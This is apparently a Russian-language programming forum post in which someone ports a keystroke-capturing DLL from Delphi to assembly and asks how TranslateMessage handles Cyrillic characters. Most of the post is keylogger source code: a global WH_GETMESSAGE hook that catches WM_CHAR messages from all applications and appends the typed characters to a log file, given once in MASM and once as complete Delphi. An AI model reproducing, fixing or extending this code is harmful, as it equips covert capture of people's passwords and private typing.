основная идея - использются "хуки", длл-ка содержит функции hook, unhook(и экспортирует их) и внутренняя функция catch - обработчик хука
код процедуры catch
; ................... catch proc code:WORD, wParam:DWORD, lParam:DWORD cmp code, 0 jge @f invoke CallNextHookEx, theHook, code, wParam, lParam ret @@: mov eax, lParam assume eax:PTR MSG cmp [eax].message, WM_CHAR jnz @@not_a_WM_CHAR ;;;;;;;;;; invoke TranslateMessage, eax mov bl, BYTE PTR [eax].wParam; ASCII нажатой клавиши mov t, bl; t DB 'x',0 выше invoke MessageBox, NULL, addr t, addr t, MB_OK invoke _lopen, lpLogFile, OF_WRITE cmp eax, -1 jnz @@file_open_ok invoke _lcreat, lpLogFile, 0 @@file_open_ok: mov hFile, eax invoke _llseek, hFile, 0, FILE_END invoke _lwrite, hFile, addr t, 1 invoke _lclose, hFile @@not_a_WM_CHAR: invoke CallNextHookEx, theHook, code, wParam, lParam xor eax, eax ret catch endp ; ...................
так вот, суть в том что она работает, но отлавлиает только английские буквы....
вообще, я перевожу код с delphi на асм. так вот, в delphiшном проекте, после того как я стал использовать TranslateMessage она прекрасно работала и с русскими буквами....однако когда я стал использовать ее в коде на асме, MessageBox из catche вообще перестал выполняться
я посмотрел доку....там написано что TranslateMessage не изменяет самого сообщения, которое передается ей в качестве параметра....а только отсылает сообщение WM_CHAR
вот я немного запутался....получается если я вызову TranslateMessage, то она отправит мессагу, и снова запустится catch???
в общем объясните что вообще делает эта TranslateMessage
зы. код на делфи
library hookdll; uses windows,messages, sysutils; const KEYHITSQUESIZE=10; var theHook: HHOOK; keyhits: string[KEYHITSQUESIZE]; curfile: textfile; function hookproc(code: integer; w: WPARAM; l:LPARAM):LRESULT; stdcall; var ch: char; chcode: byte; begin if code< 0 then begin result:=CallNextHookEx(theHook,code,w,l); Exit; end; if TMSg(pointer(l)^).message=WM_CHAR then begin translatemessage(TMSg(pointer(l)^)); chcode:=TMSg(pointer(l)^).wParam; ch:=chr(chcode); keyhits:=keyhits+ch; if length(keyhits)=KEYHITSQUESIZE then begin Assignfile(CurFile,'c:\log.txt'); Append(CurFile); write(Curfile, keyhits); closefile(curfile); keyhits:=''; end; end; CallNextHookEx(theHook, code, w, l); result:=0; end; procedure hook;stdcall; begin theHook:=setwindowshookex(WH_GETMESSAGE, @hookproc, HInstance, 0); end; procedure unhook;stdcall; begin UnhookWindowsHookEx(theHook); end; exports hook, unhook; begin end.